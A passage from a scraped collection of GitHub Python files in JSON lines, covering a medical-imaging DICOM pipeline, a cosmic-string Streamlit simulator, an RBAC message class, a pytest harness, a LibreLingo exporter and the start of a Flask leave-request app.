if PRE_NII_ROOT is not None:\n            shutil.copy(file, os.path.join(dir_out, file_name))\n        else:\n            shutil.move(file, os.path.join(dir_out, file_name))\n\n    if os.path.exists(OUT_DIR_NII_tmp):\n        print(f'Remove nii_temp files in {OUT_DIR_NII_tmp}')\n        shutil.rmtree(OUT_DIR_NII_tmp)\n\n\ndef getDf(df=None):\n    \n    df_pre = None\n\n    if df is None:\n        df = pd.read_excel(DF_PATH)\n        if not SELECT:\n            print(f'Patients in interest from df: {df.shape[0]}')\n            return df\n        df_pre = df.copy(deep=True)\n        df = df[['complete_ab_flag', 'nii_file', '结果描述',\n                 'shape', 'Protocol Name', 'spacing', '检查时间']]\n    else:\n        if not SELECT:\n            print(f'Patients in interest from df: {df.shape[0]}')\n            return df\n        df_pre = df.copy(deep=True)\n        df = df[['complete_ab_flag', 'nii_file', '结果描述',\n                 'shape', 'Protocol Name', 'spacing', '检查时间']]\n        \n        \n    print('Start selecting patients of interst')\n    # df = df.loc[df['Protocol Name'].str.contains('Abdomen', case=False, na=False)] if TYPE == 'CT' else df\n    df['检查时间'] = pd.to_datetime(df['检查时间'], format='%Y%m%d')\n    # df = df.loc[(df['检查时间'] >= '2021-01-18') & (df['检查时间'] <= '2021-01-31')]\n    conditions = []\n    conditions = [df['结果描述'].str.contains(\n        key, na=False) for key in KEYWORDS] if KEYWORDS is not None else conditions\n    # conditions.append(df['complete_ab_flag']!=1) \n    if len(conditions)!=0:\n        df = df.loc[np.logical_or.reduce(conditions)]\n    \n    if df.shape[0] == 0:\n        raise ValueError('The full report has no patients of interest.')\n\n    # spacing * shape -> physical distance\n    spacing_z = df['spacing'].astype(str).str.strip(\n        '[]').str.split(', ', expand=True).loc[:, 0].astype(float)\n    shape_z = df['shape'].astype(str).str.strip('()').str.split(\n        ', ', expand=True).loc[:, 0].astype(float)\n    distance_z = spacing_z.multiply(shape_z, fill_value=0)*0.1\n    df.insert(0, 'd_z', distance_z)\n\n    df = df[df['d_z'] >= 40] if TYPE=='CT' else df[df['d_z'] >= 70]\n    print(f'Patients in interest from df: {df.shape[0]}')\n    # annotate complete_ab_flag, but need check again\n    if df.shape[0]!=df_pre[df_pre['complete_ab_flag']==1].shape[0]:\n        df_pre['complete_ab_flag'] = ''\n        df_pre.loc[df.index, 'complete_ab_flag'] = 1\n        print(\n            f'Add excel {DF_PATH} with complete_ab_flag that denotes targets of interest.')\n        df_pre.to_excel(os.path.join(DF_PATH), encoding='utf-8', index=False)\n    return df\n\n\ndef dicom2FullReport(num_pool=8, save=True):\n    pre_series_report_dirs = []\n    print('Start fetching all dicom files paths.')\n    for root, dirs, files in os.walk(DATA_ROOT):\n        dir_list = []\n        for _dir in dirs:\n            dir_list.append(os.path.join(root, _dir))\n        pre_series_report_dirs.extend(dir_list)\n\n    print('Checking all dicom files paths.')\n    pre_series_report_dirs = [x for x in tqdm(pre_series_report_dirs) if not hasSubdir(x)]\n    print(f'Found cases {len(pre_series_report_dirs)} after checking.')\n\n    print(f'Start collecting dicom info to the file {DF_PATH}.')\n    with Pool(num_pool) as p:\n        r = itertools.chain(*tqdm(p.map(meta2csv, pre_series_report_dirs), total=len(pre_series_report_dirs)))\n\n    if PRE_FULL_REPORT_ROOT is not None:\n        pre_series_report_files = []\n        # clean\n        for root, dirs, files in os.walk(PRE_FULL_REPORT_ROOT):\n            file_list = []\n            for file in files:\n                file_list.append(os.path.join(root, file))\n            pre_series_report_files.extend(file_list)\n        pre_series_report_files = [x for x in pre_series_report_files if x.endswith('.xlsx')]\n    else:\n        pre_series_report_files = None\n    series_meta_df = pd.DataFrame(r)\n    # series_meta_df = pd.read_excel('series_tmp.xlsx')\n    print('Merge reports and series\\'s meta...')\n    full_df = mergeReportAndSeries(\n        DATA_ROOT, pre_series_report_files, series_meta_df, DF_PATH)\n\n    out_dir = os.path.split(DF_PATH)[0]\n    os.makedirs(out_dir, exist_ok=True)\n\n    if save:\n        print(f'Output the full report to the dir {DF_PATH}.')\n        full_df.to_excel(os.path.join(DF_PATH), encoding='utf-8', index=False)\n    return full_df, pre_series_report_dirs\n\n\ndef dcm2niiFiles(total_dir, num_pool=8):\n    \"\"\"\n    Output nii files of interest based on check ids from total_dir(DICOM directories)\n    \"\"\"\n    print(f'Start dcm2niix and out to folder {OUT_DIR_NII_tmp}')\n    total = len(total_dir)\n    # spare resources for outcomes that exist\n    total_dir = [x for x in total_dir if not os.path.exists(\n        os.path.join(OUT_DIR_NII_tmp, os.path.split(x)[-1]))]\n    _total = len(total_dir)\n    print(f'Skip {total - _total} cases that already exist.')\n\n    with Pool(num_pool) as pool:\n        tqdm(pool.map(partial(dcm2niix, out_dir=OUT_DIR_NII_tmp),\n             total_dir), total=len(total_dir))\n\n\nif __name__ == '__main__':\n    # Please ensure all excels files including series meta, reports.csv are closed.\n    # Or you may get access deny error.\n    df = None\n    total_dcm_dirs = None\n\n    if os.path.exists(DF_PATH):\n        df = getDf()\n    else:\n        df, total_dcm_dirs = dicom2FullReport(save=True)\n        df = getDf(df)\n\n    if PRE_NII_ROOT is not None:\n        paths = select_nii_paths_with_interest(df, PRE_NII_ROOT)\n        move(paths)\n    else:\n        total = generate_dcm_dirs(df, total_dcm_dirs)\n        dcm2niiFiles(total)\n        paths = select_nii_paths_with_interest(df, OUT_DIR_NII_tmp)\n        move(paths)\n","repo_name":"164140757/wild","sub_path":"wild/AMOS/data/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":9734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"288416988","text":"class Solution:\n    def solve(self, rooms):\n        unlocked = [False] * len(rooms)\n        unlocked[0] = True\n        stack = [0]\n\n        while stack:\n            for other in rooms[stack.pop()]:\n                if not unlocked[other]:\n                    stack.append(other)\n                    unlocked[other] = True\n\n        return all(unlocked)\n","repo_name":"yaeba/binary-search-solutions","sub_path":"solutions/Unlock-Rooms.py","file_name":"Unlock-Rooms.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"74626621841","text":"import streamlit as st\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\n\nfrom copy import deepcopy\nfrom scipy.integrate import odeint\nfrom scipy.signal import find_peaks\nfrom scipy import signal\n\nfrom PIL import Image\n\ndef vos(y, t, la , ff , fff , k , logscale=0 , c=0 , g=1 , rho=0.5):\n\tl,v,j,q,xi = y\n\tw = xi/l\n\t#w = np.sqrt(1-2*q*ff)\n\n\tif logscale == 0:\n\t\th = la/t\n\n\t\tdl = (h*l*(v**2-(1-v**2)*((q+j)/w**2)*ff)) + g*c/(2*w)*v\n\t\tdv = ((1-v**2)*(k/xi*(1+2*((q+j)/w**2)*ff) - 2*v*h*(1+((q+j)/w**2)*ff)))\n\t\tdj = (2*j*(v*k/xi-h)) + rho*c*v/l*(g-1)*w/(ff-2*q*fff)\n\t\tdq = (2*q*(v*k/xi-h)*(ff+2*j*fff)/(ff+2*q*fff)) + (1-rho)*c*v/l*(g-1)*w/(ff+2*q*fff)\n\t\tdxi = (h*xi*v**2*(1+((q+j)/w**2)*ff) - v*k*((q+j)/w**2)*ff) + c/(2)*v\n\t\n\telse:\n\t\tdl = (la*l*(v**2-(1-v**2)*((q+j)/w**2)*ff)) + np.exp(t)*g*c/(2*w)*v\n\t\tdv = ((1-v**2)*(np.exp(t)*k/xi*(1+2*((q+j)/w**2)*ff) - 2*v*la*(1+((q+j)/w**2)*ff)))\n\t\tdj = (2*j*(np.exp(t)*v*k/xi-la)) * np.exp(t)*rho*c*v/l*(g-1)*w/(ff-2*q*fff)\n\t\tdq = (2*q*(np.exp(t)*v*k/xi-la)*(ff+2*j*fff)/(ff+2*q*fff)) * np.exp(t)*(1-rho)*c*v/l*(g-1)*w/(ff+2*q*fff)\n\t\tdxi = (la*xi*v**2*(1+((q+j)/w**2)*ff) - np.exp(t)*(v*k*((q+j)/w**2)*ff) + c/(2)*v)   \n\t\n\tdydt = [dl , dv , dj , dq , dxi]\n\t\n\treturn dydt\n\n# -- Set page config\napptitle = 'Current carrying cosmic strings'\nicon = Image.open(\"logo_fcup.ico\")\nst.set_page_config(page_title=apptitle, page_icon=icon)\n\n# Title the app\nst.title('Current carrying cosmic strings')\n\nst.markdown(\"\"\"\n * Use the menu at left to select data from the different analysis possibilities\n * To tune the analysis parameters use the **Analysis** tab\n\"\"\")\n\n# -- Side bar definition\ntab1, tab2, tab3 = st.sidebar.tabs([\":milky_way: Properties\", \"📈 Simulations\" , \":art: Visualisation\"])\n\ncol1, col2 = tab1.columns(2)\n\nt0 = col1.number_input('Initial simulation time',min_value=1.0,max_value=None,value=1.0)\nt_max = col2.number_input('Final simulation time',min_value=0.0,max_value=None,value=1000.0)\n\nfs = tab1.number_input('Sampling rate',min_value=1.0,max_value=None,value=100.0)\n\nzoom_lim = tab3.slider('Plot time limits',min_value=t0,max_value=t_max,value=[t0,t_max])\nx_log_scale = tab3.checkbox('Time in log scale',value=True)\ny_log_scale = tab3.checkbox('Quantities in log scale',value=True)\n\nk = tab1.number_input('Momentum parameter ($k_v$)',min_value=0.0,max_value=1.0,value=0.1)\nff = tab1.number_input('$F^\\prime$',value=-0.1)\nfff = tab1.number_input('$F^{\\prime\\prime}$',value=0.0)\n\nN = tab2.number_input('NUmber of simulations',min_value=1,max_value=None,value=1)\nl = []\nxi = []\n\nj = []\nq = []\n\nv = []\nlas = []\n\nc = []\ng = []\nrho = []\n\nfor i in range(N):\n\twith tab2.expander(\"Simulation %d data\"%(i+1),False):\n\t\tform = st.form(\"my_form%d\"%i)\n\t\tcol1, col2 = form.columns(2)\n\t\tl.append(col1.number_input('$L_i$',min_value=0.0,max_value=1.0,value=0.1,key='l%d'%i))\n\t\txi.append(col2.number_input(r'$\\xi_i$',min_value=0.0,max_value=1.0,value=0.1,key='xi%d'%i))\n\n\t\tq.append(col1.number_input('$Q_i$',min_value=0.0,max_value=1.0,value=0.1,key='q%d'%i))\n\t\tj.append(col2.number_input('$J_i$',min_value=0.0,max_value=1.0,value=0.1,key='j%d'%i))\n\n\t\tv.append(col1.number_input('$v_i$',min_value=0.0,max_value=1.0,value=0.1,key='v%d'%i))\n\t\tlas.append(col2.number_input('$\\lambda$',value=2.0,key='la%d'%i))\n\n\t\tc.append(col1.number_input('$c$',value=0.0,key='c%d'%i))\n\t\tg.append(col2.number_input('$g$',value=1.0,key='g%d'%i))\n\t\trho.append(col1.number_input(r'$\\rho$',value=0.0,key='rho%d'%i))\n\n\t\tform.form_submit_button(\"Update parameters\")\n\nt = np.arange(t0,t_max+1/fs,1/fs)\ntime_filter = (t>=zoom_lim[0]) & (t<=zoom_lim[1])\n\n@st.cache_data\ndef compute_solution(t,l,v,j,q,xi,las,ff,fff,k,c,g,rho,N):\n\tsol = []\n\tfor i in range(N):\n\t\ty0 = [l[i],v[i],j[i],q[i],xi[i]]\n\t\tsol.append(odeint(vos, y0, t, args=(las[i],ff,fff,k,0,c[i],g[i],rho[i])))\n\treturn sol\n\nsol = compute_solution(t,l,v,j,q,xi,las,ff,fff,k,c,g,rho,N)\n\nfig = plt.figure(figsize = (18,9))\ngs = gridspec.GridSpec(2,3,hspace=0.1,wspace=0.25)\n\naxj = plt.subplot(gs[0,0])\naxq = plt.subplot(gs[1,0])\n\naxl = plt.subplot(gs[0,1])\naxxi = plt.subplot(gs[1,1])\n\naxv = plt.subplot(gs[0,2])\nfor i in range(N):\n\taxl.plot(t[time_filter],sol[i][time_filter,0])\n\taxv.plot(t[time_filter],sol[i][time_filter,1])\n\taxj.plot(t[time_filter],sol[i][time_filter,2])\n\taxq.plot(t[time_filter],sol[i][time_filter,3])\n\taxxi.plot(t[time_filter],sol[i][time_filter,4],\n\t\tlabel='       $\\lambda=$%.1f; $Q_i=$%.1f; $J_i=$%.1f\\n'%(las[i],q[i],j[i])\n\t\t+r'S%d - $L_i=$%.1f; $\\xi_i=$%.1f; $v_i=$%.1f'%(i+1,l[i],xi[i],v[i]) + '\\n'\n\t\t+r'       $c=$%.1f; $g=$%.1f; $\\rho=$%.1f'%(c[i],g[i],rho[i])\n\t\t)\n\t\nif x_log_scale:\n\taxj.set_xscale('log')\n\taxq.set_xscale('log')\n\taxv.set_xscale('log')\n\taxxi.set_xscale('log')\n\taxl.set_xscale('log')\n\nif y_log_scale:\n\taxj.set_yscale('log')\n\taxq.set_yscale('log')\n\taxxi.set_yscale('log')\n\taxl.set_yscale('log')\n\naxj.set_title('Charge and current')\n\naxv.set_title('Velocity')\naxl.set_title('Length scales')\n\naxj.set_xlim(zoom_lim)\naxq.set_xlim(axj.get_xlim())\n\naxv.set_xlim(axj.get_xlim())\n\naxxi.set_xlim(axj.get_xlim())\naxl.set_xlim(axj.get_xlim())\n\naxxi.legend(loc='center left',\n\t\t\tbbox_to_anchor=(1.25,0.5),\n\t\t\tncol=1,\n\t\t\tmarkerscale=1,\n\t\t\tfancybox=False,\n\t\t\tframealpha=1,\n\t\t\tframeon=False)\n\naxj.set_ylabel(r'$J(\\tau)$')\naxq.set_ylabel(r'$Q(\\tau)$')\n\naxl.set_ylabel(r'$L(\\tau)$')\naxxi.set_ylabel(r'$\\xi(\\tau)$')\n\naxv.set_ylabel(r'$v(\\tau)$')\n\naxq.set_xlabel(r'$\\tau$')\naxxi.set_xlabel(axq.get_xlabel())\naxv.set_xlabel(axq.get_xlabel())\n\naxj.set_xticklabels('')\naxl.set_xticklabels('')\n\n#st.plotly_chart(fig,use_container_width=True,theme='streamlit')  \nst.pyplot(fig)  \n\nwith st.expander(\"See explanation\",False):\n\tst.write(r'''\n\tThe full set of equations of the generalised VOS model for current carrying strings is then given by:\n\t$$\n\t\t\\dot{L}_c = \\mathcal{H} L_c\\left[v^2-\\left(1-v^2\\right)\\frac{Q^2+J^2}{W^2}{F^\\prime}\\right] \\\\\n\t\t\\dot{v} = \\left(1-v^2\\right)\\left[\\frac{k_v}{WL_c}\\left(1+2\\frac{Q^2+J^2}{W^2}{F^\\prime}\\right)-2v\\mathcal{H}\\left(1+\\frac{Q^2+J^2}{W^2}{F^\\prime}\\right)\\right]\\\\\n\t\t\\left(J^2\\right)^\\bullet = 2J^2\\left(\\frac{vk_v}{L_cW}-\\mathcal{H}\\right)\\\\\n\t\t\\left(Q^2\\right)^\\bullet = 2Q^2\\frac{{F\\prime}+2J^2{F^{\\prime\\prime}}}{{F^\\prime}+2Q^2{F^{\\prime\\prime}}}\\left(\\frac{vk_v}{L_cW}-\\mathcal{H}\\right) \\\\\n\t\t\\dot{\\xi}_c = \\mathcal{H}\\xi_c v^2\\left(1+\\frac{Q^2+J^2}{W^2}{F^\\prime}\\right)-v k_v\\frac{J^2+Q^2}{W^2}{F^\\prime}\t\t\\\\\n\t$$\n\tAs in the canonical VOS model, the equations above do not properly account for additional energy loss mechanisms, a phenomenological concept that here should be extended to include charge losses. The additional terms to try to mimic these effects are:\n\t$$\n\t\t\\dot{L}_c = \\dots + \\frac{g}{W}\\frac{\\tilde{c}}{2}v\\\\\n\t\t\\left(J^2\\right)^\\bullet = \\dots + \\rho\\tilde{c}\\frac{v}{L_c}\\frac{(g-1)W}{{F^\\prime}-2Q^2{F^{\\prime\\prime}}}\\\\\n\t\t\\left(Q^2\\right)^\\bullet =\\dots + (1-\\rho)\\tilde{c}\\frac{v}{L_c}\\frac{(g-1)W}{{F^\\prime}+2Q^2{F^{\\prime\\prime}}}\\\\\n\t\t\\dot{\\xi}_c = \\dots + \\frac{\\tilde{c}}{2}v\n\t$$\n\t''')","repo_name":"fnpimenta/CosmicStrings","sub_path":"cosmic_strings.py","file_name":"cosmic_strings.py","file_ext":"py","file_size_in_byte":7008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38042152893","text":"from rbac.common import addresser\nfrom rbac.common.addresser.address_space import (\n    AddressSpace,\n    ObjectType,\n    RelationshipType,\n)\nfrom rbac.common.base.base_message import BaseMessage\nfrom rbac.common.logs import get_default_logger\n\nLOGGER = get_default_logger(__name__)\n\n\nclass UpdateUser(BaseMessage):\n    \"\"\" Implements the UPDATE_USER message\n        usage: rbac.user.update()\n    \"\"\"\n\n    def __init__(self):\n        super().__init__()\n        self._register()\n\n    @property\n    def message_action_type(self):\n        \"\"\"The action type from AddressSpace performed by this message\"\"\"\n        return addresser.MessageActionType.UPDATE\n\n    @property\n    def address_type(self):\n        \"\"\"The address type from AddressSpace implemented by this class\"\"\"\n        return AddressSpace.USER_ATTRIBUTES\n\n    @property\n    def object_type(self):\n        \"\"\"The object type from AddressSpace implemented by this class\"\"\"\n        return ObjectType.USER\n\n    @property\n    def related_type(self):\n        \"\"\"The related type from AddressSpace implemented by this class\"\"\"\n        return ObjectType.NONE\n\n    @property\n    def relationship_type(self):\n        \"\"\"The relationship type from AddressSpace implemented by this class\"\"\"\n        return RelationshipType.ATTRIBUTES\n\n    def make_addresses(self, message, signer_user_id):\n        \"\"\"Makes the appropriate inputs & output addresses for the message type\"\"\"\n        inputs, _ = super().make_addresses(message, signer_user_id)\n\n        user_address = self.address(object_id=message.next_id)\n        inputs.add(user_address)\n\n        if message.manager_id:\n            manager_address = self.address(object_id=message.manager_id)\n            inputs.add(manager_address)\n\n        outputs = inputs\n        return inputs, outputs\n\n    @property\n    def allow_signer_not_in_state(self):\n        \"\"\"Whether the signer of the message is allowed to not be\n        in state. Used only for when the transaction also creates the\n        signer of the message (e.g. CREATE_USER)\"\"\"\n        return False\n\n    def validate(self, message, signer=None):\n        \"\"\"Validates the message values\"\"\"\n        super().validate(message=message, signer=signer)\n        if len(message.name) < 5:\n            raise ValueError(\"Users must have names longer than 4 characters\")\n        if message.manager_id is not None:\n            if message.next_id == message.manager_id:\n                raise ValueError(\"User cannot be their own manager\")\n\n    def validate_state(self, context, message, payload, input_state, store):\n        \"\"\"Validates the message against state\"\"\"\n        super().validate_state(\n            context=context,\n            message=message,\n            payload=payload,\n            input_state=input_state,\n            store=store,\n        )\n        if not addresser.user.exists_in_state_inputs(\n            inputs=payload.inputs, input_state=input_state, object_id=message.next_id\n        ):\n            raise ValueError(\"User with id {} does not exist\".format(message.next_id))\n        if message.manager_id and not addresser.user.exists_in_state_inputs(\n            inputs=payload.inputs, input_state=input_state, object_id=message.manager_id\n        ):\n            raise ValueError(\n                \"Manager with id {} does not exist in state\".format(message.manager_id)\n            )\n","repo_name":"hyperledger-archives/sawtooth-next-directory","sub_path":"rbac/common/user/update_user.py","file_name":"update_user.py","file_ext":"py","file_size_in_byte":3344,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"3"}
+{"seq_id":"29036662267","text":"import collections.abc\nimport json\nimport logging\nimport os\nimport pickle\nfrom urllib.parse import quote\n\nimport pytest\nimport requests\nimport yatest.common\nfrom ads.bsyeti.tests.test_lib.data_collector.config import (\n    COMMON_REQUESTS,\n    REQUESTS_DIR,\n    TIMESTAMP_PATH,\n)\nfrom ads.bsyeti.tests.test_lib.eagle_daemon import get_eagle_protos\nfrom library.python.testing.deprecated import setup_environment\n\nlogging.getLogger(\"urllib3\").setLevel(logging.CRITICAL)\n\nGT_NOGLUE = \"noGlue\"\nGT_VULTCRYPTA = \"VultureCrypta\"\nGT_IS2 = \"IS2.0\"\n\n\ndef get_glue_types():\n    return [GT_NOGLUE, GT_VULTCRYPTA]\n\n\ndef get_accesslog_clients_for_test():\n    return [\n        \"yabs\",\n        \"search\",\n        \"ssp\",\n        \"ks_1\",\n        \"server_count\",\n        \"distribution_main_page\",\n        \"yabs-market\",\n        \"laas\",\n        \"adfox\",\n        \"yabs-meta-bannerset\",\n        \"ssp-international\",\n        \"metrika\",\n        \"appmetrica-cam\",\n    ]\n\n\ndef update_dict_recursive(dict_o, dict_n):\n    for key, val in dict_n.items():\n        if isinstance(val, collections.abc.Mapping):\n            dict_o[key] = update_dict_recursive(dict_o.get(key, {}), val)\n        else:\n            dict_o[key] = val\n    return dict_o\n\n\n@pytest.fixture(scope=\"module\")\ndef testing_data_time():\n    with open(TIMESTAMP_PATH, \"r\") as file_pointer:\n        return {\"TEST_TIME\": int(file_pointer.readlines()[0])}\n\n\n@pytest.fixture(scope=\"module\")\ndef real_requests():\n    result = {}\n    avaliable_clients = os.listdir(REQUESTS_DIR)\n    for client in avaliable_clients:\n        with open(REQUESTS_DIR + \"/\" + client, \"rb\") as f_p:\n            result[client] = pickle.load(f_p)\n    logging.info(\"total clients: %d\", len(result))\n    return result\n\n\n@pytest.fixture(scope=\"module\")\ndef common_requests():\n    with open(COMMON_REQUESTS, \"rb\") as f_p:\n        requests = pickle.load(f_p)\n    logging.info(\"total common requests: %d\", len(requests))\n    return requests\n\n\ndef eagle_tester_proto(\n    test_time,\n    eagle_port,\n    all_requests,\n    glue_param=\"\",\n    experiment_parameters=\"\",\n    client_param=\"\",\n    test_file_name=\"answers\",\n):\n    diff_tool = [yatest.common.binary_path(\"ads/bsyeti/tests/test_lib/eagle_compare/bin/compare\")]\n\n    uids = yatest.common.get_param(\"uids\")\n    if uids is not None:\n        target_uids = set(map(str, uids.split(\",\")))\n        all_requests = list(set(request for request in all_requests for uid in target_uids if uid in request))\n        for uid in uids:\n            diff_tool += [\"--uid\", uid]\n\n    assert all_requests, \"zero requests\"\n\n    experiment_parameter_base = {\n        \"EagleSettings\": {\n            \"LoadSettings\": {\n                \"UseVultureCrypta\": False,\n            }\n        }\n    }\n\n    if experiment_parameters not in ({}, \"\"):\n        update_dict_recursive(experiment_parameter_base, experiment_parameters)\n\n    exp_json = \"&exp-json=\" + quote(json.dumps(experiment_parameter_base))\n\n    if glue_param != \"\":\n        glue_param = \"&glue=\" + str(int(glue_param))\n\n    if client_param != \"\":\n        client_param = \"&\" + client_param\n\n    url_body_suffix = (\n        \"&format=protobuf\"\n        \"&strict=1\"\n        \"&seed=100\"\n        \"&time={time}\"\n        \"{glue_param}\"\n        \"&timeout=10000\"\n        \"{client_param}\"\n        \"{exp_param}\"\n    ).format(time=test_time, glue_param=glue_param, client_param=client_param, exp_param=exp_json)\n    prepared_requests = [request + url_body_suffix for request in all_requests]\n\n    url_template = \"http://localhost:{port}\".format(port=eagle_port)\n\n    checkdata = get_eagle_protos(prepared_requests, url_template, test_file_name)\n\n    with open(test_file_name, \"wb\") as f_p:\n        f_p.write(checkdata)\n\n    resp = requests.get(\"http://localhost:{port}/sensors\".format(port=eagle_port))\n    assert resp.ok, resp.ok\n\n    logging.info(\"All %d requests done\", len(prepared_requests))\n\n    return yatest.common.canonical_file(test_file_name, diff_tool=diff_tool, diff_tool_timeout=600)\n\n\n@pytest.fixture(scope=\"module\")\ndef ready_testenv(\n    eagle_module_with_only_rsya_tsar,\n    all_yt_filled_tables,\n    testing_data_time,\n    common_requests,\n    real_requests,\n):\n    return {\n        \"TEST_TIME\": testing_data_time[\"TEST_TIME\"],\n        \"EAGLE_PORT\": eagle_module_with_only_rsya_tsar[\"EAGLE_PORT\"],\n        \"common_requests\": common_requests,\n        \"real_requests\": real_requests,\n    }\n\n\n@pytest.mark.parametrize(\"glue_type\", get_glue_types())\n@pytest.mark.parametrize(\"client\", get_accesslog_clients_for_test())\ndef test_real_clients_requests(ready_testenv, glue_type, client):\n    setup_environment.setup_bin_dir()\n\n    experiment_parameters = {}\n    if glue_type == GT_VULTCRYPTA:\n        experiment_parameters = {\"EagleSettings\": {\"LoadSettings\": {\"UseVultureCrypta\": True}}}\n\n    if client in ready_testenv:\n        return eagle_tester_proto(\n            ready_testenv[\"TEST_TIME\"],\n            ready_testenv[\"EAGLE_PORT\"],\n            ready_testenv[\"real_requests\"][client],\n            glue_param=(glue_type != GT_NOGLUE),\n            experiment_parameters=experiment_parameters,\n            test_file_name=\"accesslog_answers\",\n        )\n    else:\n        client_arg = \"client=\" + client if not client.startswith(\"ks_\") else \"keyword-set=\" + client.strip(\"ks_\")\n        return eagle_tester_proto(\n            ready_testenv[\"TEST_TIME\"],\n            ready_testenv[\"EAGLE_PORT\"],\n            ready_testenv[\"common_requests\"],\n            glue_param=(glue_type != GT_NOGLUE),\n            experiment_parameters=experiment_parameters,\n            client_param=client_arg,\n            test_file_name=\"common_answers\",\n        )\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"ads/tests/eagle/canonize_ut/test_eagle.py","file_name":"test_eagle.py","file_ext":"py","file_size_in_byte":5622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3781196455","text":"\"\"\"\nExport LibreLingo courses in the JSON format expected by the web app\n\"\"\"\n\nimport itertools\nfrom slugify import slugify\nfrom .types import *\nfrom .utils import *\nfrom .dictionary import *\nfrom .challenge_types import *\n\n__version__ = '0.1.0'\n\n\ndef calculate_number_of_levels(nwords, nphrases):\n    \"\"\"\n    Calculates how many levels a skill should have\n    \"\"\"\n    return round(1 + (nwords / 7) + (nphrases / 5))\n\n\ndef get_module_summary(module):\n    \"\"\"\n    Get a module summary for the course meta data\n    \"\"\"\n\n    def get_imageset(images):\n        if images and len(images) == 3 and all(images):\n            return {\"imageSet\": images}\n        else:\n            return {}\n\n    def get_summary(words, phrases):\n        words = [word.in_target_language[0] for word in words]\n        phrases = [phrase.in_target_language[0] for phrase in phrases]\n\n        return words + phrases\n\n    def get_levels(words, phrases):\n        return calculate_number_of_levels(len(words), len(phrases))\n\n    return {\n        \"title\": module.title,\n        \"skills\": [\n            {\n                **(get_imageset(skill.image_set)),\n                \"summary\": get_summary(skill.words, skill.phrases),\n                \"practiceHref\": slugify(skill.name),\n                \"id\": get_opaque_id(skill, \"Skill\"),\n                \"title\": skill.name,\n                \"levels\": get_levels(skill.words, skill.phrases),\n            } for skill in module.skills\n        ]\n    }\n\n\ndef get_course_data(course):\n    \"\"\"\n    Format Course according to the JSON structure\n    \"\"\"\n\n    return {\n        \"languageName\": course.language_name,\n        \"languageCode\": course.language_code,\n        \"specialCharacters\": course.special_characters,\n        \"license\": {\n            \"name\": {\n                \"short\": course.license.name,\n                \"full\": course.license.full_name,\n\n            },\n            \"link\": course.license.link,\n        },\n        \"modules\": [\n            get_module_summary(module) for module in course.modules\n        ]\n    }\n\n\ndef make_challenges_using(callback, data_source, course):\n    return list(itertools.chain(\n        *map(lambda item: callback(item, course), data_source)))\n\n\ndef get_challenges_data(skill, course):\n    return sum([\n        make_challenges_using(get_phrase_challenges, skill.phrases, course),\n        make_challenges_using(get_word_challenges, skill.words, course),\n    ], start=[])\n\n\ndef get_skill_data(skill, course):\n    \"\"\"\n    Format Course according to the JSON structure\n    \"\"\"\n\n    return {\n        \"id\": get_opaque_id(skill, \"Skill\"),\n        \"levels\": calculate_number_of_levels(\n            len(skill.words), len(skill.phrases)),\n        \"challenges\": get_challenges_data(skill, course),\n    }\n","repo_name":"Magicianred/LibreLingo","sub_path":"workspaces/liblili2json/liblili2json/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"33298805860","text":"\"\"\"Partition a generic (processed) csv and write out the multitask indices `/data/splits`\"\"\"\nimport os\nimport numpy as np\nimport pandas as pd\n\nimport constants\n\n\nDATASET_VERSION = 'v1'\n\nin_path = os.path.join(constants.DATAFRAME_DIR, f'dataset_{DATASET_VERSION}.csv')\nout_path = os.path.join(constants.SPLIT_DIR, f'split_multitask_{DATASET_VERSION}.npz')\n\ndef get_train_val_test_split(data_file):\n    df = pd.read_csv(data_file)\n\n    df['col_index'] = range(0, len(df))\n\n    train=df.sample(frac=constants.SPLIT_RATIOS[0])\n    val = df.drop(train.index).sample(frac=(constants.SPLIT_RATIOS[1] / (1 - constants.SPLIT_RATIOS[0])))\n    test=df.drop(train.index).drop(val.index)\n\n    return train['col_index'].values, val['col_index'].values, test['col_index'].values\n\n\n\nnp.random.seed(42)\nprint(\"Processing: \", in_path)\ntrain, val, test = get_train_val_test_split(in_path)\ndata = pd.read_csv(in_path)\n\nprint(\"\\tTrain size:\", len(train))\nprint(\"\\tVal size:\", len(val))\nprint(\"\\tTest size:\", len(test))\n\n\nnp.savez(out_path, train=train, val=val, test=test)\n","repo_name":"ashwhall/hyperspec-trait-prediction","sub_path":"src/dataset/generic_split_multitask.py","file_name":"generic_split_multitask.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"10598915462","text":"from flask import Blueprint, render_template, flash, request, redirect, jsonify, json\nfrom flask_login import login_required, current_user\nfrom flask_wtf import FlaskForm\nfrom werkzeug.security import generate_password_hash, check_password_hash\nfrom wtforms import StringField, SubmitField\nfrom wtforms.validators import DataRequired, Length\nfrom .models import Employee, User, LeaveType, LeaveRequest, Manager\nfrom app import db\nfrom datetime import date, datetime\nimport logging\nimport requests\n\nmain = Blueprint('main', __name__)\n\n@main.context_processor\ndef is_employee_admin():\n    data = requests.get('{}/api/employee/{}'.format(base_url(), user_emp_id())).json()\n    return dict(user_is_admin=data['is_admin'])\n\n@main.context_processor\ndef is_employee_manager():\n    data = requests.get('{}/api/employee/{}'.format(base_url(), user_emp_id())).json()\n    return dict(user_is_manager=data['is_manager'])\n   \ndef base_url():\n    url = request.base_url\n    return url[:url.rfind('/')]\n\ndef user_emp_id():\n    return (Employee.get_logged_in_employee_id(current_user)).employee_id\n\n@main.route('/')\ndef index():\n    return render_template('index.html')\n\n@main.route('/profile')\n@login_required\ndef profile():\n    data = requests.get('{}/api/employee/{}'.format(base_url(), user_emp_id())).json()\n    return render_template('profile.html', employee=data)\n\n\n@main.route('/leave_request', 